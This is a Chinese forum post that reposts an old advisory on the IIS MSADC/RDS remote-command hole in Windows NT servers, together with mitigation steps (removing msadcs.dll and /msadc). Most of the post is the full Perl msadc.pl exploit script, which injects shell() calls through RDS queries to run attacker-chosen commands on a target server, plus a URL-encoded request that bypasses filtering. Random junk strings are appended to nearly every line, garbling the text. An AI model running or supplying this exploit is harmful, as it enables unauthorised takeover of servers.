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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) OM83S|1s  
7=}F{U  
涉及程序: @cvP0A  
Microsoft NT server ` }gbc69  
PX O!t]*  
描述: yt0,^*t_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 S;\R!%t_  
@tT-JwU  
详细: <^R{U&Z@  
如果你没有时间读详细内容的话,就删除: D{7w!z  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Qst$S}n  
有关的安全问题就没有了。 ^4Uw8-/9  
|`O5Xs1{B  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _F(P*[[&  
\_]En43mg  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 H=c`&N7E  
关于利用ODBC远程漏洞的描述,请参看: ;O#g"8  
NTs7KSgZ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vp)Vb^K>  
/YKMKtE  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 OYL]j{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z=z%$l  
J >0b1  
这里不再论述。 9q[;u[A8^  
tNaL;0#Tx  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G-um`/<%  
kPxT" " k  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset np$ zo  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #=c`of6  
(c\hy53dP  
2a=sm1?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Rd&9E  
kyYLP"oB=  
#!perl 8G^<[`.@j  
# 7{kP}?  
# MSADC/RDS 'usage' (aka exploit) script  ht97s  
# uXZg1 F)  
# by rain.forest.puppy [3/VCYje  
# ]wn/BG)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me N;sm*+r  
# beta test and find errors! cD}Sf>  
eCbf9B  
use Socket; use Getopt::Std; p^)B0[P9  
getopts("e:vd:h:XR", \%args); ]1`g^Z@ 0  
  WY  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [j,txe?n  
Y g|lq9gD  
if (!defined $args{h} && !defined $args{R}) { ,I.WX,OR  
print qq~ ?,knit2x  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -%c<IX>z9  
-h <host> = host you want to scan (ip or domain) 6cS>bl  
-d <seconds> = delay between calls, default 1 second Do7=#|bAM  
-X = dump Index Server path table, if available ;iYff N  
-v = verbose u0s8yPA  
-e = external dictionary file for step 5 oDB`iiBXQ  
.i"W8~<e  
Or a -R will resume a command session Qt>>$3]!!  
=Ufr^naA  
~; exit;} pV[''  
c "= N  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Gc tsp2ndW  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {d3<W N  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} vXj<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;\;M =&{}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <X7\z  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } PgM(l3x  
)U t5+-UK  
if (!defined $args{R}){ $ret = &has_msadc; N5U)*U'-u  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} /1w2ehE<  
V\5 L?}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1QqHF$S  
. "cmd /c "; = duks\)O  
$in=<STDIN>; chomp $in; ,Ds.x@p  
$command="cmd /c " . $in ; 3.Gj4/f  
Cr ? 4Ngw  
if (defined $args{R}) {&load; exit;} "hz\Z0zg2  
yzsab ^]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +/{L#e>   
&try_btcustmr; H1:be.^YP  
6i@\5}m=  
print "\nStep 2: Trying to make our own DSN..."; "B7`'jz  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -Sv"gLB  
@p=AWi}\  
print "\nStep 3: Trying known DSNs..."; q%YV$$c   
&known_dsn; R,2P3lv1v@  
0ZpFE&  
print "\nStep 4: Trying known .mdbs..."; ?DV5y|}pj  
&known_mdb; ,,L2(N  
tB7}|jC  
if (defined $args{e}){ d(`AXyw  
print "\nStep 5: Trying dictionary of DSN names..."; vV?rpe|%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } c"tJld5F_  
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print "Sorry Charley...maybe next time?\n"; a `Q ot  
exit; XM1`x  
0IkM  
############################################################################## RJeDEYXeg  
F/d7q%I  
sub sendraw { # ripped and modded from whisker y3u+_KY-  
sleep($delay); # it's a DoS on the server! At least on mine... 0U/,aHvhP  
my ($pstr)=@_; sW#JjtK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wN-i?Ek0;  
die("Socket problems\n"); 1j-te-}"c  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^D^JzEy'?C  
select(S); $|=1; $ <8~k^  
print $pstr; my @in=<S>; OFkNl}D  
select(STDOUT); close(S); _jU5O;  
return @in; Ter :sge7  
} else { die("Can't connect...\n"); }} J8a*s`ik  
ykg#{9+  
############################################################################## Sw&!y$ed  
`/&SxQB<  
sub make_header { # make the HTTP request Z;Rp+ X  
my $msadc=<<EOT pv!oz2w1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 P,S G.EFK  
User-Agent: ACTIVEDATA >ydRSr^  
Host: $ip hg@}@Wq\)  
Content-Length: $clen K0+.q?8D|  
Connection: Keep-Alive t>)45<PEw  
:wqC8&V  
ADCClientVersion:01.06 )jrT6x^IB  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 t+r:"bb  
va|*c22;|  
--!ADM!ROX!YOUR!WORLD! Uh1NO&i.W  
Content-Type: application/x-varg ?']h%'Q  
Content-Length: $reqlen F1%vtk;2?  
=QJRMF  
EOT DaHZ{T8>d  
; $msadc=~s/\n/\r\n/g; Z=5qX2fy1*  
return $msadc;} 3-Dt[0%{  
w2O!M!1  
############################################################################## ?jQ](i&  
V! |qYM.  
sub make_req { # make the RDS request )}%O>%  
my ($switch, $p1, $p2)=@_; AdZ;j6#  
my $req=""; my $t1, $t2, $query, $dsn; s pLZ2]A  
#%@*p,xh  
if ($switch==1){ # this is the btcustmr.mdb query gwd (N  
$query="Select * from Customers where City=" . make_shell(); nP~({ :l8X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  6Si-u  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} y4:H3Sk  
w9RS)l2FQ  
elsif ($switch==2){ # this is general make table query M@1r:4CoKH  
$query="create table AZZ (B int, C varchar(10))"; Q cjc ,  
$dsn="$p1";} x3ERCqTR  
dx*qb  
elsif ($switch==3){ # this is general exploit table query HBE.F&C88  
$query="select * from AZZ where C=" . make_shell(); 3ss6_xd+  
$dsn="$p1";} ^\:8w0Y^  
Dq@2-Cv  
elsif ($switch==4){ # attempt to hork file info from index server q-ES6R  
$query="select path from scope()"; W,@ If}  
$dsn="Provider=MSIDXS;";} |tzg :T;  
-tsDMji~V  
elsif ($switch==5){ # bad query 1{Mcs%W;w5  
$query="select"; FSuAjBl0-  
$dsn="$p1";} ,5Pl\keY  
h0Z{,s}  
$t1= make_unicode($query); ow=UtA-^O  
$t2= make_unicode($dsn); nfW&1a  
$req = "\x02\x00\x03\x00"; }{9&:!uA  
$req.= "\x08\x00" . pack ("S1", length($t1)); ^04Q%,  
$req.= "\x00\x00" . $t1 ; tc r//  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5Ky#GuC  
$req.= "\x00\x00" . $t2 ; 2O"P2(1}v  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; l%z<(L5  
return $req;} CRve.e8J  
4n1; Bh$  
############################################################################## %ows BO+  
yV3^Qtb!  
sub make_shell { # this makes the shell() statement ZD#9&q'4<  
return "'|shell(\"$command\")|'";} vKwQXR~C  
Z}A%=Z\/3  
############################################################################## 0Z<I%<8bK  
p,pR!qC>  
sub make_unicode { # quick little function to convert to unicode X2mREt9  
my ($in)=@_; my $out; qjAWeS/  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } /N>e&e[35\  
return $out;} 1T_QX9  
/WV7gO&L1  
############################################################################## >R{qESmP=  
1 Q-bYJG  
sub rdo_success { # checks for RDO return success (this is kludge) AB Xl  
my (@in) = @_; my $base=content_start(@in); x6afI<dm  
if($in[$base]=~/multipart\/mixed/){ UX<Qcjm$e  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +bK.NcS  
return 0;} SjjIr ^  
*{undZ?(>  
############################################################################## `u!l3VZ/4  
'Djm0  
sub make_dsn { # this makes a DSN for us *tOG*hwdT  
my @drives=("c","d","e","f"); GT hL/M  
print "\nMaking DSN: "; UmnE@H"t$\  
foreach $drive (@drives) { e6X[vc|Y}  
print "$drive: "; 6J~12TU,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . X1[CX&Am  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" j#~Jxv%n  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 22<0DhJ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?.c;oS|  
return 0 if $2 eq "404"; # not found/doesn't exist +#b:d=v!  
if($2 eq "200") { _mS!XF~`P  
foreach $line (@results) { `s '#  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} t&5%?QyM  
} return 0;} 5Ft5@UF~  
VN0mDh?E  
############################################################################## iV FkYx%}  
SYeadsvF  
sub verify_exists { 04%S+y.6&Y  
my ($page)=@_; >3:?)  
my @results=sendraw("GET $page HTTP/1.0\n\n"); kpbm4t  
return $results[0];} fl Jp4-nx  
L{l6Dd43q  
############################################################################## ~A<H9Bw  
)2UZ% ?V#  
sub try_btcustmr { 2Nxm@B` {  
my @drives=("c","d","e","f"); :{'k@J"| a  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;Zj]~|  
+9O5KI?P  
foreach $dir (@dirs) { 2,vB'CAI  
print "$dir -> "; # fun status so you can see progress 7:]Pl=:X  
foreach $drive (@drives) { J`IDlGFYp  
print "$drive: "; # ditto Z=4{Vv*  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ,y9iKkg  
$reqlenlen=length( "$reqlen" ); FLoNE>q  
$clen= 206 + $reqlenlen + $reqlen; /!}'t  
>U1R.B7f  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 2#X4G~>#h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} n\I#CH0V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} "M|P+A  
(qn2xrV  
############################################################################## ;v17K  
wdzOFDA  
sub odbc_error { k{tMzx]F__  
my (@in)=@_; my $base; I9o6k?$K  
my $base = content_start(@in); FtufuL?JS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this a"/#+=[  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [md u!!*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]maYUKqv}'  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UgB'[@McS  
return $in[$base+4].$in[$base+5].$in[$base+6];} 2>} xhQJ  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; C^t(^9  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . krq/7|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Z'^U ad6  
( nW67YTr  
############################################################################## PCd0 ?c   
jNwjK0?  
sub verbose { /$n ~lf  
my ($in)=@_; e98lhu"|H  
return if !$verbose; V&soN:HS  
print STDOUT "\n$in\n";} ,1q_pep~?%  
_qvK*nE  
############################################################################## t3Z_Dp~\  
uUE9g  
sub save { Q@e[5RA +]  
my ($p1, $p2, $p3, $p4)=@_; Mcw4!{l`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; n[Zz]IO,g  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; -K(fh#<6KO  
close OUT;} K|C^l;M6  
$@\mpwANl  
############################################################################## Z') pf  
rOW-0B+N  
sub load { |W$DVRA  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; . .QB~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); f:zFFpP.j@  
@p=<IN>; close(IN); }}QTHR  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g#NZ ,~  
$target= inet_aton($ip) || die("inet_aton problems"); /wQL  
print "Resuming to $ip ..."; JJV0R}z?TV  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; IUGz =%[  
if($p[1]==1) { A>VI{  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; i$^)UZJ&0  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [=uo1%  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); DfJ2PX}q  
if (rdo_success(@results)){print "Success!\n";} d#:3be{|&q  
else { print "failed\n"; verbose(odbc_error(@results));}} %zC[KE*~  
elsif ($p[1]==3){ e]ig!G]  
if(run_query("$p[3]")){ GZ!| }$ 8  
print "Success!\n";} else { print "failed\n"; }} Dz!fpE'L  
elsif ($p[1]==4){ 89{HJ9}  
if(run_query($drvst . "$p[3]")){ =U OLT>!  
print "Success!\n"; } else { print "failed\n"; }}  <VjJAu  
exit;} uBg 8h{>  
/)N@M  
############################################################################## ?!w^`D0}o  
s )voII&  
sub create_table { aI zv  
my ($in)=@_; c_{z(W"  
$reqlen=length( make_req(2,$in,"") ) - 28; F} J-gZl  
$reqlenlen=length( "$reqlen" ); /9Q3iV$I]  
$clen= 206 + $reqlenlen + $reqlen; `\=Gp'&Q+  
my @results=sendraw(make_header() . make_req(2,$in,"")); J )BI:]m  
return 1 if rdo_success(@results); Y9SGRV(  
my $temp= odbc_error(@results); verbose($temp); j$fAq\B  
return 1 if $temp=~/Table 'AZZ' already exists/; v/uO&iQw5  
return 0;} `T/~.`R  
LW#M@  
############################################################################## SEQ%'E5-'  
g1(Xg.  
sub known_dsn { ]!1OH |Ad  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go +ww^ev%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ||2Q~*:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 5_K5?N  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); F}Mhs17!|  
G DSfT{kK\  
foreach $dSn (@dsns) { ;S$Ll*f>D  
print "."; 5yh/0i5|  
next if (!is_access("DSN=$dSn")); \^+ILYO:$  
if(create_table("DSN=$dSn")){ &a> lWE  
print "$dSn successful\n"; Y izE5[*  
if(run_query("DSN=$dSn")){ >Sk[vI0Y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { PZ:u_*Vu`  
print "Something's borked. Use verbose next time\n";}}} print "\n";} I^*'.z!4Q  
P`$12<\O1  
############################################################################## Ocg"M Gb  
^s7,_!.Pq  
sub is_access { %k f>&b,Mi  
my ($in)=@_; `T ^G^7&  
$reqlen=length( make_req(5,$in,"") ) - 28; >: 0tA{bV  
$reqlenlen=length( "$reqlen" ); u]C`6)>  
$clen= 206 + $reqlenlen + $reqlen; O(2cWQ  
my @results=sendraw(make_header() . make_req(5,$in,"")); BOlAm*tFt  
my $temp= odbc_error(@results); [~5p>'  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); maMHZ\ Q  
return 0;} -y) ,Y |  
/rB{[zk  
############################################################################## {TSY|D2  
Tm+;0  
sub run_query { Hyk'c't_O  
my ($in)=@_; `znB7VQ0  
$reqlen=length( make_req(3,$in,"") ) - 28; q)u2Y]  
$reqlenlen=length( "$reqlen" ); @b&84Gn2 r  
$clen= 206 + $reqlenlen + $reqlen; 78#!Q.##  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;'T{li2  
return 1 if rdo_success(@results); v|Jlf$>  
my $temp= odbc_error(@results); verbose($temp); s}M= oe  
return 0;} cl[!`Z  
#~:P}<h  
############################################################################## KcGsMPJ  
wn +FTqj  
sub known_mdb { BJjx|VA+  
my @drives=("c","d","e","f","g"); ClW'W#*(Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2)iD4G`  
my $dir, $drive, $mdb; uE_c4Hp  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; xc 1A$EY  
+,'T=Ic{  
# this is sparse, because I don't know of many zbw7U'jk  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ! U0z"  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", qcB){p+UQ  
"\\system32\\certmdb.mdb", ,a|@d} U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hp!d/X=J_  
-=$2p0" R  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", dLh6:Gh8_I  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |fsm8t<~8  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", -*VKlZ8-  
"\\cfusion\\cfapps\\security\\realm_.mdb", -H(vL=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", H(u+#PIIw  
"\\cfusion\\database\\cfexamples.mdb", d<p2/aA  
"\\cfusion\\database\\cfsnippets.mdb", @B1{r|-<^  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", jjOgG-Q  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", jdRq6U^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;Kxbg>U  
"\\cfusion\\database\\smpolicy.mdb", OTvROJP  
"\\cfusion\\database\cypress.mdb", $j` $[tX6l  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ( `' 8Ww  
"\\website\\cgi-win\\dbsample.mdb", 6/ g%\ka  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ZwI 1* f  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" jrJR1npB  
); #these are just >G)qns9  
foreach $drive (@drives) { dT@UK^\  
foreach $dir (@dirs){ 4z4v\IpB  
foreach $mdb (@sysmdbs) { o.:p_(|hI  
print "."; ^t. W|teD  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ F%.xuLW  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |g)FA_#|<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ N$aZ== $5  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uF(k[[qaiN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} /9ZcM]X B  
G"s0GpvQ  
foreach $drive (@drives) { 7| YrdK<  
foreach $mdb (@mdbs) { /"AvOh*  
print "."; K!{5 [G  
if(create_table($drv . $drive . $dir . $mdb)){ WnxEu3U  
print "\n" . $drive . $dir . $mdb . " successful\n"; `"y`AY/N  
if(run_query($drv . $drive . $dir . $mdb)){ w8M2N]&:  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 60B-ay0e$b  
} else { print "Something's borked. Use verbose next time\n"; }}}} nnCug  
} 6XUuGxQV/  
V% axeqs  
############################################################################## 4KpL>'Q=  
cf8-]G?tK  
sub hork_idx { 9w^zY ;Y  
print "\nAttempting to dump Index Server tables...\n"; Q}vbm4)[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 'w<BJTQIL  
$reqlen=length( make_req(4,"","") ) - 28; D5]{2z}k  
$reqlenlen=length( "$reqlen" ); T-L5zu  
$clen= 206 + $reqlenlen + $reqlen; d+2daKi  
my @results=sendraw2(make_header() . make_req(4,"","")); m@qqVRn#)  
if (rdo_success(@results)){ f@z*3I;  
my $max=@results; my $c; my %d; -zfoRU v  
for($c=19; $c<$max; $c++){ CmC0k-%w  
$results[$c]=~s/\x00//g; >q( 5ir  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; [B/0-(?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `| 9Ku  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $C_M&O}  
$d{"$1$2"}="";} Pn WD}'0V  
foreach $c (keys %d){ print "$c\n"; } 3;/?q  
} else {print "Index server doesn't seem to be installed.\n"; }} ,+L KJl  
>]$aoA#  
############################################################################## (Pi-uL<[a  
*3Nn +T  
sub dsn_dict { E&2tBrAq  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 3 ]}'TA`v  
while(<IN>){ (aKZ5>>cN  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; `F1dyf!p<  
next if (!is_access("DSN=$dSn")); F>Jg~ FD*  
if(create_table("DSN=$dSn")){ iB bbr,  
print "$dSn successful\n"; i^|@"+  
if(run_query("DSN=$dSn")){ M []OHw  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >Q2). E  
print "Something's borked. Use verbose next time\n";}}} R{3CW^1  
print "\n"; close(IN);} bEpMaBN  
J/Q|uRpmqr  
############################################################################## j7/(sf  
"bX4Q4Dq  
sub sendraw2 { # ripped and modded from whisker Eb@MfL  
sleep($delay); # it's a DoS on the server! At least on mine... LHi6:G"Y(  
my ($pstr)=@_; !wh=dQgMe  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'DAltr<  
die("Socket problems\n"); DX@}!6|T  
if(connect(S,pack "SnA4x8",2,80,$target)){ FBY ODw  
print "Connected. Getting data"; km>o7V&4G  
open(OUT,">raw.out"); my @in; Npa-$N&P{S  
select(S); $|=1; print $pstr; rz6jx  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D Vw Cx^  
close(OUT); select(STDOUT); close(S); return @in; g _ M-F  
} else { die("Can't connect...\n"); }} ]h@{6N'oNS  
&5q{viI  
############################################################################## p.Y$A if.  
`"Dy%&U  
sub content_start { # this will take in the server headers 5-'vB  
my (@in)=@_; my $c; L>nO:`>h  
for ($c=1;$c<500;$c++) { #v8Cy|I  
if($in[$c] =~/^\x0d\x0a/){ 79tJV  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yiT{+;g^  
else { return $c+1; }}} |R~;&x:  
return -1;} # it should never get here actually *i?.y*g  
6FjVmje  
############################################################################## q<XcOc5  
7Po/_%  
sub funky { s/ S+ ec3  
my (@in)=@_; my $error=odbc_error(@in); L?f qcW{  
if($error=~/ADO could not find the specified provider/){ 1URsHV!xcM  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bOXh|u_3i  
exit;} ZjD2u 8e  
if($error=~/A Handler is required/){ @3 "DBJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; cEi<}9r  
exit;} a;p6?kv  
if($error=~/specified Handler has denied Access/){ % +8  
print "\nServer has custom handler filters (they most likely are patched)\n"; =eYO;l y3  
exit;}} l$`G:%qHj  
:yD@5)  
############################################################################## c~oe, 9  
I"V3+2e  
sub has_msadc { XI g|G}i.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); h544dNo&  
my $base=content_start(@results); Kq6qXc\x  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); WguV{#=H  
return 0;} 6DZ2pT:  
V'yxqI?  
######################## oZvG3_H4.  
m/N(%oMWB=  
6SAQDE  
解决方案: [N R1d-Wg  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll }2xb&6g~o  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 KqY>4tb  
4+,*sn  
拿出来充数 哈哈
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